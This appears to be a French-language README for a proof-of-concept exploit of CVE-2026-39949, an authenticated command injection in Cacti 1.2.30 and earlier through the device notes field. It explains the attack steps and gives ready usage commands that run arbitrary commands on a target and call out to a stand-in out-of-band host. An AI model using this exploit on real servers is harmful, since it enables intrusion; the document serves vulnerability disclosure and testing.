lukehebe/cve-2026-39949Cacti ≤ 1.2.30 RCE authentifié - Injection de variable d'hôte
Une vulnérabilité d'injection de commandes système dans Cacti ≤ 1.2.30 permet à tout utilisateur authentifié disposant des privilèges de création d'appareils et de modèles de graphiques d'exécuter des commandes arbitraires sur le serveur sous-jacent. La faille existe car les champs de métadonnées d'hôte contrôlés par l'utilisateur (plus précisément le champ de notes de l'appareil) sont substitués dans les arguments de ligne de commande RRDtool via le moteur de remplacement de variables de Cacti, sans aucune désinfection ni échappement. Un attaquant peut injecter des métacaractères shell dans le champ de notes, créer un modèle de graphique référençant la variable |host_notes|, et déclencher le rendu du graphique pour obtenir une exécution de code à distance complète en tant qu'utilisateur du serveur web.
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'
Exécution de commande OOB :
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com
